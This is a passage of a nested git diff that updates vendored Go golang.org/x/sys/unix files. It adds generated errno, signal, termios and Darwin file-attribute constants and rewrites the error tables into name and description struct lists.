-+ VEOL2 = 0x6
-+ VERASE = 0x2
-+ VINTR = 0x0
-+ VKILL = 0x3
-+ VLNEXT = 0xe
-+ VMIN = 0x4
-+ VQUIT = 0x1
-+ VREPRINT = 0xb
-+ VSTART = 0x7
-+ VSTOP = 0x8
-+ VSTRT = 0x7
-+ VSUSP = 0x9
-+ VT0 = 0x0
-+ VT1 = 0x8000
-+ VTDELAY = 0x2000
-+ VTDLY = 0x8000
-+ VTIME = 0x5
-+ VWERSE = 0xd
-+ WPARSTART = 0x1
-+ WPARSTOP = 0x2
-+ WPARTTYNAME = "Global"
-+ XCASE = 0x4
-+ XTABS = 0xc00
-+ _FDATAFLUSH = 0x2000000000
-+)
-+
-+// Errors
-+const (
-+ E2BIG = syscall.Errno(0x7)
-+ EACCES = syscall.Errno(0xd)
-+ EADDRINUSE = syscall.Errno(0x43)
-+ EADDRNOTAVAIL = syscall.Errno(0x44)
-+ EAFNOSUPPORT = syscall.Errno(0x42)
-+ EAGAIN = syscall.Errno(0xb)
-+ EALREADY = syscall.Errno(0x38)
-+ EBADF = syscall.Errno(0x9)
-+ EBADMSG = syscall.Errno(0x78)
-+ EBUSY = syscall.Errno(0x10)
-+ ECANCELED = syscall.Errno(0x75)
-+ ECHILD = syscall.Errno(0xa)
-+ ECHRNG = syscall.Errno(0x25)
-+ ECLONEME = syscall.Errno(0x52)
-+ ECONNABORTED = syscall.Errno(0x48)
-+ ECONNREFUSED = syscall.Errno(0x4f)
-+ ECONNRESET = syscall.Errno(0x49)
-+ ECORRUPT = syscall.Errno(0x59)
-+ EDEADLK = syscall.Errno(0x2d)
-+ EDESTADDREQ = syscall.Errno(0x3a)
-+ EDESTADDRREQ = syscall.Errno(0x3a)
-+ EDIST = syscall.Errno(0x35)
-+ EDOM = syscall.Errno(0x21)
-+ EDQUOT = syscall.Errno(0x58)
-+ EEXIST = syscall.Errno(0x11)
-+ EFAULT = syscall.Errno(0xe)
-+ EFBIG = syscall.Errno(0x1b)
-+ EFORMAT = syscall.Errno(0x30)
-+ EHOSTDOWN = syscall.Errno(0x50)
-+ EHOSTUNREACH = syscall.Errno(0x51)
-+ EIDRM = syscall.Errno(0x24)
-+ EILSEQ = syscall.Errno(0x74)
-+ EINPROGRESS = syscall.Errno(0x37)
-+ EINTR = syscall.Errno(0x4)
-+ EINVAL = syscall.Errno(0x16)
-+ EIO = syscall.Errno(0x5)
-+ EISCONN = syscall.Errno(0x4b)
-+ EISDIR = syscall.Errno(0x15)
-+ EL2HLT = syscall.Errno(0x2c)
-+ EL2NSYNC = syscall.Errno(0x26)
-+ EL3HLT = syscall.Errno(0x27)
-+ EL3RST = syscall.Errno(0x28)
-+ ELNRNG = syscall.Errno(0x29)
-+ ELOOP = syscall.Errno(0x55)
-+ EMEDIA = syscall.Errno(0x6e)
-+ EMFILE = syscall.Errno(0x18)
-+ EMLINK = syscall.Errno(0x1f)
-+ EMSGSIZE = syscall.Errno(0x3b)
-+ EMULTIHOP = syscall.Errno(0x7d)
-+ ENAMETOOLONG = syscall.Errno(0x56)
-+ ENETDOWN = syscall.Errno(0x45)
-+ ENETRESET = syscall.Errno(0x47)
-+ ENETUNREACH = syscall.Errno(0x46)
-+ ENFILE = syscall.Errno(0x17)
-+ ENOATTR = syscall.Errno(0x70)
-+ ENOBUFS = syscall.Errno(0x4a)
-+ ENOCONNECT = syscall.Errno(0x32)
-+ ENOCSI = syscall.Errno(0x2b)
-+ ENODATA = syscall.Errno(0x7a)
-+ ENODEV = syscall.Errno(0x13)
-+ ENOENT = syscall.Errno(0x2)
-+ ENOEXEC = syscall.Errno(0x8)
-+ ENOLCK = syscall.Errno(0x31)
-+ ENOLINK = syscall.Errno(0x7e)
-+ ENOMEM = syscall.Errno(0xc)
-+ ENOMSG = syscall.Errno(0x23)
-+ ENOPROTOOPT = syscall.Errno(0x3d)
-+ ENOSPC = syscall.Errno(0x1c)
-+ ENOSR = syscall.Errno(0x76)
-+ ENOSTR = syscall.Errno(0x7b)
-+ ENOSYS = syscall.Errno(0x6d)
-+ ENOTBLK = syscall.Errno(0xf)
-+ ENOTCONN = syscall.Errno(0x4c)
-+ ENOTDIR = syscall.Errno(0x14)
-+ ENOTEMPTY = syscall.Errno(0x11)
-+ ENOTREADY = syscall.Errno(0x2e)
-+ ENOTRECOVERABLE = syscall.Errno(0x5e)
-+ ENOTRUST = syscall.Errno(0x72)
-+ ENOTSOCK = syscall.Errno(0x39)
-+ ENOTSUP = syscall.Errno(0x7c)
-+ ENOTTY = syscall.Errno(0x19)
-+ ENXIO = syscall.Errno(0x6)
-+ EOPNOTSUPP = syscall.Errno(0x40)
-+ EOVERFLOW = syscall.Errno(0x7f)
-+ EOWNERDEAD = syscall.Errno(0x5f)
-+ EPERM = syscall.Errno(0x1)
-+ EPFNOSUPPORT = syscall.Errno(0x41)
-+ EPIPE = syscall.Errno(0x20)
-+ EPROCLIM = syscall.Errno(0x53)
-+ EPROTO = syscall.Errno(0x79)
-+ EPROTONOSUPPORT = syscall.Errno(0x3e)
-+ EPROTOTYPE = syscall.Errno(0x3c)
-+ ERANGE = syscall.Errno(0x22)
-+ EREMOTE = syscall.Errno(0x5d)
-+ ERESTART = syscall.Errno(0x52)
-+ EROFS = syscall.Errno(0x1e)
-+ ESAD = syscall.Errno(0x71)
-+ ESHUTDOWN = syscall.Errno(0x4d)
-+ ESOCKTNOSUPPORT = syscall.Errno(0x3f)
-+ ESOFT = syscall.Errno(0x6f)
-+ ESPIPE = syscall.Errno(0x1d)
-+ ESRCH = syscall.Errno(0x3)
-+ ESTALE = syscall.Errno(0x34)
-+ ESYSERROR = syscall.Errno(0x5a)
-+ ETIME = syscall.Errno(0x77)
-+ ETIMEDOUT = syscall.Errno(0x4e)
-+ ETOOMANYREFS = syscall.Errno(0x73)
-+ ETXTBSY = syscall.Errno(0x1a)
-+ EUNATCH = syscall.Errno(0x2a)
-+ EUSERS = syscall.Errno(0x54)
-+ EWOULDBLOCK = syscall.Errno(0xb)
-+ EWRPROTECT = syscall.Errno(0x2f)
-+ EXDEV = syscall.Errno(0x12)
-+)
-+
-+// Signals
-+const (
-+ SIGABRT = syscall.Signal(0x6)
-+ SIGAIO = syscall.Signal(0x17)
-+ SIGALRM = syscall.Signal(0xe)
-+ SIGALRM1 = syscall.Signal(0x26)
-+ SIGBUS = syscall.Signal(0xa)
-+ SIGCAPI = syscall.Signal(0x31)
-+ SIGCHLD = syscall.Signal(0x14)
-+ SIGCLD = syscall.Signal(0x14)
-+ SIGCONT = syscall.Signal(0x13)
-+ SIGCPUFAIL = syscall.Signal(0x3b)
-+ SIGDANGER = syscall.Signal(0x21)
-+ SIGEMT = syscall.Signal(0x7)
-+ SIGFPE = syscall.Signal(0x8)
-+ SIGGRANT = syscall.Signal(0x3c)
-+ SIGHUP = syscall.Signal(0x1)
-+ SIGILL = syscall.Signal(0x4)
-+ SIGINT = syscall.Signal(0x2)
-+ SIGIO = syscall.Signal(0x17)
-+ SIGIOINT = syscall.Signal(0x10)
-+ SIGIOT = syscall.Signal(0x6)
-+ SIGKAP = syscall.Signal(0x3c)
-+ SIGKILL = syscall.Signal(0x9)
-+ SIGLOST = syscall.Signal(0x6)
-+ SIGMAX = syscall.Signal(0xff)
-+ SIGMAX32 = syscall.Signal(0x3f)
-+ SIGMIGRATE = syscall.Signal(0x23)
-+ SIGMSG = syscall.Signal(0x1b)
-+ SIGPIPE = syscall.Signal(0xd)
-+ SIGPOLL = syscall.Signal(0x17)
-+ SIGPRE = syscall.Signal(0x24)
-+ SIGPROF = syscall.Signal(0x20)
-+ SIGPTY = syscall.Signal(0x17)
-+ SIGPWR = syscall.Signal(0x1d)
-+ SIGQUIT = syscall.Signal(0x3)
-+ SIGRECONFIG = syscall.Signal(0x3a)
-+ SIGRETRACT = syscall.Signal(0x3d)
-+ SIGSAK = syscall.Signal(0x3f)
-+ SIGSEGV = syscall.Signal(0xb)
-+ SIGSOUND = syscall.Signal(0x3e)
-+ SIGSTOP = syscall.Signal(0x11)
-+ SIGSYS = syscall.Signal(0xc)
-+ SIGSYSERROR = syscall.Signal(0x30)
-+ SIGTALRM = syscall.Signal(0x26)
-+ SIGTERM = syscall.Signal(0xf)
-+ SIGTRAP = syscall.Signal(0x5)
-+ SIGTSTP = syscall.Signal(0x12)
-+ SIGTTIN = syscall.Signal(0x15)
-+ SIGTTOU = syscall.Signal(0x16)
-+ SIGURG = syscall.Signal(0x10)
-+ SIGUSR1 = syscall.Signal(0x1e)
-+ SIGUSR2 = syscall.Signal(0x1f)
-+ SIGVIRT = syscall.Signal(0x25)
-+ SIGVTALRM = syscall.Signal(0x22)
-+ SIGWAITING = syscall.Signal(0x27)
-+ SIGWINCH = syscall.Signal(0x1c)
-+ SIGXCPU = syscall.Signal(0x18)
-+ SIGXFSZ = syscall.Signal(0x19)
-+)
-+
-+// Error table
-+var errorList = [...]struct {
-+ num syscall.Errno
-+ name string
-+ desc string
-+}{
-+ {1, "EPERM", "not owner"},
-+ {2, "ENOENT", "no such file or directory"},
-+ {3, "ESRCH", "no such process"},
-+ {4, "EINTR", "interrupted system call"},
-+ {5, "EIO", "I/O error"},
-+ {6, "ENXIO", "no such device or address"},
-+ {7, "E2BIG", "arg list too long"},
-+ {8, "ENOEXEC", "exec format error"},
-+ {9, "EBADF", "bad file number"},
-+ {10, "ECHILD", "no child processes"},
-+ {11, "EWOULDBLOCK", "resource temporarily unavailable"},
-+ {12, "ENOMEM", "not enough space"},
-+ {13, "EACCES", "permission denied"},
-+ {14, "EFAULT", "bad address"},
-+ {15, "ENOTBLK", "block device required"},
-+ {16, "EBUSY", "device busy"},
-+ {17, "ENOTEMPTY", "file exists"},
-+ {18, "EXDEV", "cross-device link"},
-+ {19, "ENODEV", "no such device"},
-+ {20, "ENOTDIR", "not a directory"},
-+ {21, "EISDIR", "is a directory"},
-+ {22, "EINVAL", "invalid argument"},
-+ {23, "ENFILE", "file table overflow"},
-+ {24, "EMFILE", "too many open files"},
-+ {25, "ENOTTY", "not a typewriter"},
-+ {26, "ETXTBSY", "text file busy"},
-+ {27, "EFBIG", "file too large"},
-+ {28, "ENOSPC", "no space left on device"},
-+ {29, "ESPIPE", "illegal seek"},
-+ {30, "EROFS", "read-only file system"},
-+ {31, "EMLINK", "too many links"},
-+ {32, "EPIPE", "broken pipe"},
-+ {33, "EDOM", "argument out of domain"},
-+ {34, "ERANGE", "result too large"},
-+ {35, "ENOMSG", "no message of desired type"},
-+ {36, "EIDRM", "identifier removed"},
-+ {37, "ECHRNG", "channel number out of range"},
-+ {38, "EL2NSYNC", "level 2 not synchronized"},
-+ {39, "EL3HLT", "level 3 halted"},
-+ {40, "EL3RST", "level 3 reset"},
-+ {41, "ELNRNG", "link number out of range"},
-+ {42, "EUNATCH", "protocol driver not attached"},
-+ {43, "ENOCSI", "no CSI structure available"},
-+ {44, "EL2HLT", "level 2 halted"},
-+ {45, "EDEADLK", "deadlock condition if locked"},
-+ {46, "ENOTREADY", "device not ready"},
-+ {47, "EWRPROTECT", "write-protected media"},
-+ {48, "EFORMAT", "unformatted or incompatible media"},
-+ {49, "ENOLCK", "no locks available"},
-+ {50, "ENOCONNECT", "cannot Establish Connection"},
-+ {52, "ESTALE", "missing file or filesystem"},
-+ {53, "EDIST", "requests blocked by Administrator"},
-+ {55, "EINPROGRESS", "operation now in progress"},
-+ {56, "EALREADY", "operation already in progress"},
-+ {57, "ENOTSOCK", "socket operation on non-socket"},
-+ {58, "EDESTADDREQ", "destination address required"},
-+ {59, "EMSGSIZE", "message too long"},
-+ {60, "EPROTOTYPE", "protocol wrong type for socket"},
-+ {61, "ENOPROTOOPT", "protocol not available"},
-+ {62, "EPROTONOSUPPORT", "protocol not supported"},
-+ {63, "ESOCKTNOSUPPORT", "socket type not supported"},
-+ {64, "EOPNOTSUPP", "operation not supported on socket"},
-+ {65, "EPFNOSUPPORT", "protocol family not supported"},
-+ {66, "EAFNOSUPPORT", "addr family not supported by protocol"},
-+ {67, "EADDRINUSE", "address already in use"},
-+ {68, "EADDRNOTAVAIL", "can't assign requested address"},
-+ {69, "ENETDOWN", "network is down"},
-+ {70, "ENETUNREACH", "network is unreachable"},
-+ {71, "ENETRESET", "network dropped connection on reset"},
-+ {72, "ECONNABORTED", "software caused connection abort"},
-+ {73, "ECONNRESET", "connection reset by peer"},
-+ {74, "ENOBUFS", "no buffer space available"},
-+ {75, "EISCONN", "socket is already connected"},
-+ {76, "ENOTCONN", "socket is not connected"},
-+ {77, "ESHUTDOWN", "can't send after socket shutdown"},
-+ {78, "ETIMEDOUT", "connection timed out"},
-+ {79, "ECONNREFUSED", "connection refused"},
-+ {80, "EHOSTDOWN", "host is down"},
-+ {81, "EHOSTUNREACH", "no route to host"},
-+ {82, "ERESTART", "restart the system call"},
-+ {83, "EPROCLIM", "too many processes"},
-+ {84, "EUSERS", "too many users"},
-+ {85, "ELOOP", "too many levels of symbolic links"},
-+ {86, "ENAMETOOLONG", "file name too long"},
-+ {88, "EDQUOT", "disk quota exceeded"},
-+ {89, "ECORRUPT", "invalid file system control data detected"},
-+ {90, "ESYSERROR", "for future use "},
-+ {93, "EREMOTE", "item is not local to host"},
-+ {94, "ENOTRECOVERABLE", "state not recoverable "},
-+ {95, "EOWNERDEAD", "previous owner died "},
-+ {109, "ENOSYS", "function not implemented"},
-+ {110, "EMEDIA", "media surface error"},
-+ {111, "ESOFT", "I/O completed, but needs relocation"},
-+ {112, "ENOATTR", "no attribute found"},
-+ {113, "ESAD", "security Authentication Denied"},
-+ {114, "ENOTRUST", "not a Trusted Program"},
-+ {115, "ETOOMANYREFS", "too many references: can't splice"},
-+ {116, "EILSEQ", "invalid wide character"},
-+ {117, "ECANCELED", "asynchronous I/O cancelled"},
-+ {118, "ENOSR", "out of STREAMS resources"},
-+ {119, "ETIME", "system call timed out"},
-+ {120, "EBADMSG", "next message has wrong type"},
-+ {121, "EPROTO", "error in protocol"},
-+ {122, "ENODATA", "no message on stream head read q"},
-+ {123, "ENOSTR", "fd not associated with a stream"},
-+ {124, "ENOTSUP", "unsupported attribute value"},
-+ {125, "EMULTIHOP", "multihop is not allowed"},
-+ {126, "ENOLINK", "the server link has been severed"},
-+ {127, "EOVERFLOW", "value too large to be stored in data type"},
-+}
-+
-+// Signal table
-+var signalList = [...]struct {
-+ num syscall.Signal
-+ name string
-+ desc string
-+}{
-+ {1, "SIGHUP", "hangup"},
-+ {2, "SIGINT", "interrupt"},
-+ {3, "SIGQUIT", "quit"},
-+ {4, "SIGILL", "illegal instruction"},
-+ {5, "SIGTRAP", "trace/BPT trap"},
-+ {6, "SIGIOT", "IOT/Abort trap"},
-+ {7, "SIGEMT", "EMT trap"},
-+ {8, "SIGFPE", "floating point exception"},
-+ {9, "SIGKILL", "killed"},
-+ {10, "SIGBUS", "bus error"},
-+ {11, "SIGSEGV", "segmentation fault"},
-+ {12, "SIGSYS", "bad system call"},
-+ {13, "SIGPIPE", "broken pipe"},
-+ {14, "SIGALRM", "alarm clock"},
-+ {15, "SIGTERM", "terminated"},
-+ {16, "SIGURG", "urgent I/O condition"},
-+ {17, "SIGSTOP", "stopped (signal)"},
-+ {18, "SIGTSTP", "stopped"},
-+ {19, "SIGCONT", "continued"},
-+ {20, "SIGCHLD", "child exited"},
-+ {21, "SIGTTIN", "stopped (tty input)"},
-+ {22, "SIGTTOU", "stopped (tty output)"},
-+ {23, "SIGIO", "I/O possible/complete"},
-+ {24, "SIGXCPU", "cputime limit exceeded"},
-+ {25, "SIGXFSZ", "filesize limit exceeded"},
-+ {27, "SIGMSG", "input device data"},
-+ {28, "SIGWINCH", "window size changes"},
-+ {29, "SIGPWR", "power-failure"},
-+ {30, "SIGUSR1", "user defined signal 1"},
-+ {31, "SIGUSR2", "user defined signal 2"},
-+ {32, "SIGPROF", "profiling timer expired"},
-+ {33, "SIGDANGER", "paging space low"},
-+ {34, "SIGVTALRM", "virtual timer expired"},
-+ {35, "SIGMIGRATE", "signal 35"},
-+ {36, "SIGPRE", "signal 36"},
-+ {37, "SIGVIRT", "signal 37"},
-+ {38, "SIGTALRM", "signal 38"},
-+ {39, "SIGWAITING", "signal 39"},
-+ {48, "SIGSYSERROR", "signal 48"},
-+ {49, "SIGCAPI", "signal 49"},
-+ {58, "SIGRECONFIG", "signal 58"},
-+ {59, "SIGCPUFAIL", "CPU Failure Predicted"},
-+ {60, "SIGGRANT", "monitor mode granted"},
-+ {61, "SIGRETRACT", "monitor mode retracted"},
-+ {62, "SIGSOUND", "sound completed"},
-+ {63, "SIGMAX32", "secure attention"},
-+ {255, "SIGMAX", "signal 255"},
-+}
-diff --git a/vendor/golang.org/x/sys/unix/zerrors_darwin_386.go b/vendor/golang.org/x/sys/unix/zerrors_darwin_386.go
-index 1c68758b..6217cdba 100644
---- a/vendor/golang.org/x/sys/unix/zerrors_darwin_386.go
-+++ b/vendor/golang.org/x/sys/unix/zerrors_darwin_386.go
-@@ -3,7 +3,7 @@
-
- // +build 386,darwin
-
--// Created by cgo -godefs - DO NOT EDIT
-+// Code generated by cmd/cgo -godefs; DO NOT EDIT.
- // cgo -godefs -- -m32 _const.go
-
- package unix
-@@ -49,6 +49,86 @@ const (
- AF_UNSPEC = 0x0
- AF_UTUN = 0x26
- ALTWERASE = 0x200
-+ ATTR_BIT_MAP_COUNT = 0x5
-+ ATTR_CMN_ACCESSMASK = 0x20000
-+ ATTR_CMN_ACCTIME = 0x1000
-+ ATTR_CMN_ADDEDTIME = 0x10000000
-+ ATTR_CMN_BKUPTIME = 0x2000
-+ ATTR_CMN_CHGTIME = 0x800
-+ ATTR_CMN_CRTIME = 0x200
-+ ATTR_CMN_DATA_PROTECT_FLAGS = 0x40000000
-+ ATTR_CMN_DEVID = 0x2
-+ ATTR_CMN_DOCUMENT_ID = 0x100000
-+ ATTR_CMN_ERROR = 0x20000000
-+ ATTR_CMN_EXTENDED_SECURITY = 0x400000
-+ ATTR_CMN_FILEID = 0x2000000
-+ ATTR_CMN_FLAGS = 0x40000
-+ ATTR_CMN_FNDRINFO = 0x4000
-+ ATTR_CMN_FSID = 0x4
-+ ATTR_CMN_FULLPATH = 0x8000000
-+ ATTR_CMN_GEN_COUNT = 0x80000
-+ ATTR_CMN_GRPID = 0x10000
-+ ATTR_CMN_GRPUUID = 0x1000000
-+ ATTR_CMN_MODTIME = 0x400
-+ ATTR_CMN_NAME = 0x1
-+ ATTR_CMN_NAMEDATTRCOUNT = 0x80000
-+ ATTR_CMN_NAMEDATTRLIST = 0x100000
-+ ATTR_CMN_OBJID = 0x20
-+ ATTR_CMN_OBJPERMANENTID = 0x40
-+ ATTR_CMN_OBJTAG = 0x10
-+ ATTR_CMN_OBJTYPE = 0x8
-+ ATTR_CMN_OWNERID = 0x8000
-+ ATTR_CMN_PARENTID = 0x4000000
-+ ATTR_CMN_PAROBJID = 0x80
-+ ATTR_CMN_RETURNED_ATTRS = 0x80000000
-+ ATTR_CMN_SCRIPT = 0x100
-+ ATTR_CMN_SETMASK = 0x41c7ff00
-+ ATTR_CMN_USERACCESS = 0x200000
-+ ATTR_CMN_UUID = 0x800000
-+ ATTR_CMN_VALIDMASK = 0xffffffff
-+ ATTR_CMN_VOLSETMASK = 0x6700
-+ ATTR_FILE_ALLOCSIZE = 0x4
-+ ATTR_FILE_CLUMPSIZE = 0x10
-+ ATTR_FILE_DATAALLOCSIZE = 0x400
-+ ATTR_FILE_DATAEXTENTS = 0x800
-+ ATTR_FILE_DATALENGTH = 0x200
-+ ATTR_FILE_DEVTYPE = 0x20
-+ ATTR_FILE_FILETYPE = 0x40
-+ ATTR_FILE_FORKCOUNT = 0x80
-+ ATTR_FILE_FORKLIST = 0x100
-+ ATTR_FILE_IOBLOCKSIZE = 0x8
-+ ATTR_FILE_LINKCOUNT = 0x1
-+ ATTR_FILE_RSRCALLOCSIZE = 0x2000
-+ ATTR_FILE_RSRCEXTENTS = 0x4000
-+ ATTR_FILE_RSRCLENGTH = 0x1000
-+ ATTR_FILE_SETMASK = 0x20
-+ ATTR_FILE_TOTALSIZE = 0x2
-+ ATTR_FILE_VALIDMASK = 0x37ff
-+ ATTR_VOL_ALLOCATIONCLUMP = 0x40
-+ ATTR_VOL_ATTRIBUTES = 0x40000000
-+ ATTR_VOL_CAPABILITIES = 0x20000
-+ ATTR_VOL_DIRCOUNT = 0x400
-+ ATTR_VOL_ENCODINGSUSED = 0x10000
-+ ATTR_VOL_FILECOUNT = 0x200
-+ ATTR_VOL_FSTYPE = 0x1
-+ ATTR_VOL_INFO = 0x80000000
-+ ATTR_VOL_IOBLOCKSIZE = 0x80
-+ ATTR_VOL_MAXOBJCOUNT = 0x800
-+ ATTR_VOL_MINALLOCATION = 0x20
-+ ATTR_VOL_MOUNTEDDEVICE = 0x8000
-+ ATTR_VOL_MOUNTFLAGS = 0x4000
-+ ATTR_VOL_MOUNTPOINT = 0x1000
-+ ATTR_VOL_NAME = 0x2000
-+ ATTR_VOL_OBJCOUNT = 0x100
-+ ATTR_VOL_QUOTA_SIZE = 0x10000000
-+ ATTR_VOL_RESERVED_SIZE = 0x20000000
-+ ATTR_VOL_SETMASK = 0x80002000
-+ ATTR_VOL_SIGNATURE = 0x2
-+ ATTR_VOL_SIZE = 0x4
-+ ATTR_VOL_SPACEAVAIL = 0x10
-+ ATTR_VOL_SPACEFREE = 0x8
-+ ATTR_VOL_UUID = 0x40000
-+ ATTR_VOL_VALIDMASK = 0xf007ffff
- B0 = 0x0
- B110 = 0x6e
- B115200 = 0x1c200
-@@ -169,6 +249,8 @@ const (
- CSTOP = 0x13
- CSTOPB = 0x400
- CSUSP = 0x1a
-+ CTL_HW = 0x6
-+ CTL_KERN = 0x1
- CTL_MAXNAME = 0xc
- CTL_NET = 0x4
- DLT_A429 = 0xb8
-@@ -390,6 +472,11 @@ const (
- FF1 = 0x4000
- FFDLY = 0x4000
- FLUSHO = 0x800000
-+ FSOPT_ATTR_CMN_EXTENDED = 0x20
-+ FSOPT_NOFOLLOW = 0x1
-+ FSOPT_NOINMEMUPDATE = 0x2
-+ FSOPT_PACK_INVAL_ATTRS = 0x8
-+ FSOPT_REPORT_FULLSIZE = 0x4
- F_ADDFILESIGS = 0x3d
- F_ADDFILESIGS_FOR_DYLD_SIM = 0x53
- F_ADDFILESIGS_RETURN = 0x61
-@@ -425,6 +512,7 @@ const (
- F_PATHPKG_CHECK = 0x34
- F_PEOFPOSMODE = 0x3
- F_PREALLOCATE = 0x2a
-+ F_PUNCHHOLE = 0x63
- F_RDADVISE = 0x2c
- F_RDAHEAD = 0x2d
- F_RDLCK = 0x1
-@@ -441,10 +529,12 @@ const (
- F_SINGLE_WRITER = 0x4c
- F_THAW_FS = 0x36
- F_TRANSCODEKEY = 0x4b
-+ F_TRIM_ACTIVE_FILE = 0x64
- F_UNLCK = 0x2
- F_VOLPOSMODE = 0x4
- F_WRLCK = 0x3
- HUPCL = 0x4000
-+ HW_MACHINE = 0x1
- ICANON = 0x100
- ICMP6_FILTER = 0x12
- ICRNL = 0x100
-@@ -681,6 +771,7 @@ const (
- IPV6_FAITH = 0x1d
- IPV6_FLOWINFO_MASK = 0xffffff0f
- IPV6_FLOWLABEL_MASK = 0xffff0f00
-+ IPV6_FLOW_ECN_MASK = 0x300
- IPV6_FRAGTTL = 0x3c
- IPV6_FW_ADD = 0x1e
- IPV6_FW_DEL = 0x1f
-@@ -771,6 +862,7 @@ const (
- IP_RECVOPTS = 0x5
- IP_RECVPKTINFO = 0x1a
- IP_RECVRETOPTS = 0x6
-+ IP_RECVTOS = 0x1b
- IP_RECVTTL = 0x18
- IP_RETOPTS = 0x8
- IP_RF = 0x8000
-@@ -789,6 +881,10 @@ const (
- IXANY = 0x800
- IXOFF = 0x400
- IXON = 0x200
-+ KERN_HOSTNAME = 0xa
-+ KERN_OSRELEASE = 0x2
-+ KERN_OSTYPE = 0x1
-+ KERN_VERSION = 0x4
- LOCK_EX = 0x2
- LOCK_NB = 0x4
- LOCK_SH = 0x1
-@@ -884,6 +980,7 @@ const (
- NET_RT_MAXID = 0xa
- NET_RT_STAT = 0x4
- NET_RT_TRASH = 0x5
-+ NFDBITS = 0x20
- NL0 = 0x0
- NL1 = 0x100
- NL2 = 0x200
-@@ -1377,6 +1474,12 @@ const (
- WORDSIZE = 0x20
- WSTOPPED = 0x8
- WUNTRACED = 0x2
-+ XATTR_CREATE = 0x2
-+ XATTR_NODEFAULT = 0x10
-+ XATTR_NOFOLLOW = 0x1
-+ XATTR_NOSECURITY = 0x8
-+ XATTR_REPLACE = 0x4
-+ XATTR_SHOWCOMPRESSION = 0x20
- )
-
- // Errors
-@@ -1528,146 +1631,154 @@ const (
- )
-
- // Error table
--var errors = [...]string{
-- 1: "operation not permitted",
-- 2: "no such file or directory",
-- 3: "no such process",
-- 4: "interrupted system call",
-- 5: "input/output error",
-- 6: "device not configured",
-- 7: "argument list too long",
-- 8: "exec format error",
-- 9: "bad file descriptor",
-- 10: "no child processes",
-- 11: "resource deadlock avoided",
-- 12: "cannot allocate memory",
-- 13: "permission denied",
-- 14: "bad address",
-- 15: "block device required",
-- 16: "resource busy",
-- 17: "file exists",
-- 18: "cross-device link",
-- 19: "operation not supported by device",
-- 20: "not a directory",
-- 21: "is a directory",
-- 22: "invalid argument",
-- 23: "too many open files in system",
-- 24: "too many open files",
-- 25: "inappropriate ioctl for device",
-- 26: "text file busy",
-- 27: "file too large",
-- 28: "no space left on device",
-- 29: "illegal seek",
-- 30: "read-only file system",
-- 31: "too many links",
-- 32: "broken pipe",
-- 33: "numerical argument out of domain",
-- 34: "result too large",
-- 35: "resource temporarily unavailable",
-- 36: "operation now in progress",
-- 37: "operation already in progress",
-- 38: "socket operation on non-socket",
-- 39: "destination address required",
-- 40: "message too long",
-- 41: "protocol wrong type for socket",
-- 42: "protocol not available",
-- 43: "protocol not supported",
-- 44: "socket type not supported",
-- 45: "operation not supported",
-- 46: "protocol family not supported",
-- 47: "address family not supported by protocol family",
-- 48: "address already in use",
-- 49: "can't assign requested address",
-- 50: "network is down",
-- 51: "network is unreachable",
-- 52: "network dropped connection on reset",
-- 53: "software caused connection abort",
-- 54: "connection reset by peer",
-- 55: "no buffer space available",
-- 56: "socket is already connected",
-- 57: "socket is not connected",
-- 58: "can't send after socket shutdown",
-- 59: "too many references: can't splice",
-- 60: "operation timed out",
-- 61: "connection refused",
-- 62: "too many levels of symbolic links",
-- 63: "file name too long",
-- 64: "host is down",
-- 65: "no route to host",
-- 66: "directory not empty",
-- 67: "too many processes",
-- 68: "too many users",
-- 69: "disc quota exceeded",
-- 70: "stale NFS file handle",
-- 71: "too many levels of remote in path",
-- 72: "RPC struct is bad",
-- 73: "RPC version wrong",
-- 74: "RPC prog. not avail",
-- 75: "program version wrong",
-- 76: "bad procedure for program",
-- 77: "no locks available",
-- 78: "function not implemented",
-- 79: "inappropriate file type or format",
-- 80: "authentication error",
-- 81: "need authenticator",
-- 82: "device power is off",
-- 83: "device error",
-- 84: "value too large to be stored in data type",
-- 85: "bad executable (or shared library)",
-- 86: "bad CPU type in executable",
-- 87: "shared library version mismatch",
-- 88: "malformed Mach-o file",
-- 89: "operation canceled",
-- 90: "identifier removed",
-- 91: "no message of desired type",
-- 92: "illegal byte sequence",
-- 93: "attribute not found",
-- 94: "bad message",
-- 95: "EMULTIHOP (Reserved)",
-- 96: "no message available on STREAM",
-- 97: "ENOLINK (Reserved)",
-- 98: "no STREAM resources",
-- 99: "not a STREAM",
-- 100: "protocol error",
-- 101: "STREAM ioctl timeout",
-- 102: "operation not supported on socket",
-- 103: "policy not found",
-- 104: "state not recoverable",
-- 105: "previous owner died",
-- 106: "interface output queue is full",
-+var errorList = [...]struct {
-+ num syscall.Errno
-+ name string
-+ desc string
-+}{
-+ {1, "EPERM", "operation not permitted"},
-+ {2, "ENOENT", "no such file or directory"},
-+ {3, "ESRCH", "no such process"},
-+ {4, "EINTR", "interrupted system call"},
-+ {5, "EIO", "input/output error"},
-+ {6, "ENXIO", "device not configured"},
-+ {7, "E2BIG", "argument list too long"},
-+ {8, "ENOEXEC", "exec format error"},
-+ {9, "EBADF", "bad file descriptor"},
-+ {10, "ECHILD", "no child processes"},
-+ {11, "EDEADLK", "resource deadlock avoided"},
-+ {12, "ENOMEM", "cannot allocate memory"},
-+ {13, "EACCES", "permission denied"},
-+ {14, "EFAULT", "bad address"},
-+ {15, "ENOTBLK", "block device required"},
-+ {16, "EBUSY", "resource busy"},
-+ {17, "EEXIST", "file exists"},
-+ {18, "EXDEV", "cross-device link"},
-+ {19, "ENODEV", "operation not supported by device"},
-+ {20, "ENOTDIR", "not a directory"},
-+ {21, "EISDIR", "is a directory"},
-+ {22, "EINVAL", "invalid argument"},
-+ {23, "ENFILE", "too many open files in system"},
-+ {24, "EMFILE", "too many open files"},
-+ {25, "ENOTTY", "inappropriate ioctl for device"},
-+ {26, "ETXTBSY", "text file busy"},
-+ {27, "EFBIG", "file too large"},
-+ {28, "ENOSPC", "no space left on device"},
-+ {29, "ESPIPE", "illegal seek"},
-+ {30, "EROFS", "read-only file system"},
-+ {31, "EMLINK", "too many links"},
-+ {32, "EPIPE", "broken pipe"},
-+ {33, "EDOM", "numerical argument out of domain"},
-+ {34, "ERANGE", "result too large"},
-+ {35, "EAGAIN", "resource temporarily unavailable"},
-+ {36, "EINPROGRESS", "operation now in progress"},
-+ {37, "EALREADY", "operation already in progress"},
-+ {38, "ENOTSOCK", "socket operation on non-socket"},
-+ {39, "EDESTADDRREQ", "destination address required"},
-+ {40, "EMSGSIZE", "message too long"},
-+ {41, "EPROTOTYPE", "protocol wrong type for socket"},
-+ {42, "ENOPROTOOPT", "protocol not available"},
